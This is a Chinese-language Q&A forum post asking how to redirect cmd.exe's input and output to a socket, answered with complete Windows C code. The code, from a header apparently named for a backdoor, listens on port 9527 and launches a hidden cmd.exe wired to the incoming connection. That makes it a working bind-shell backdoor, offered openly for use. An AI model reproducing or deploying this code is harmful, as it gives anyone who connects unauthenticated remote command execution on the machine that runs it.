请教如何重定向cmd.exe的输入输出到一个socket

发布网友 发布时间：2022-04-22 08:45

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热心网友 时间：2023-07-05 14:42

#include "zpDoor.h"

BOOL SocketInit()
{
WSADATA wsaData = {0};
if ( WSAStartup(MAKEWORD(2, 2), &wsaData) == NO_ERROR ) {
return TRUE;
}else{
return FALSE;
}
}

BOOL StartShell(UINT uPort)
{
if ( !SocketInit() ) {
return FALSE;
}
sockaddr_in sServer = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
SOCKET m_AcceptSock = INVALID_SOCKET, m_ListenSock = INVALID_SOCKET;
m_ListenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if ( m_ListenSock == INVALID_SOCKET ) {
goto __Error_End;
}
sServer.sin_family = AF_INET;
sServer.sin_addr.s_addr = htonl(INADDR_ANY);
sServer.sin_port = htons(uPort);
if ( bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer)) == SOCKET_ERROR ) {
goto __Error_End;
}
if ( listen(m_ListenSock, 5) == SOCKET_ERROR ) {
goto __Error_End;
}
m_AcceptSock = accept(m_ListenSock, NULL, NULL);
if ( m_AcceptSock == INVALID_SOCKET ) {
goto __Error_End;
}

si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)m_AcceptSock;
si.wShowWindow = SW_HIDE;
TCHAR szCmdLine[MAX_PATH] = {0};
GetSystemDirectory(szCmdLine, MAX_PATH);
_tcscat_s(szCmdLine, MAX_PATH, _T("\\cmd.exe"));
if ( !CreateProcess(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) ) {
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
__Error_End:
if ( m_ListenSock != INVALID_SOCKET ) {
closesocket(m_ListenSock);
}
if ( m_AcceptSock != INVALID_SOCKET ) {
closesocket(m_AcceptSock);
}
return TRUE;
}

int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
StartShell(9527);
return 0;
}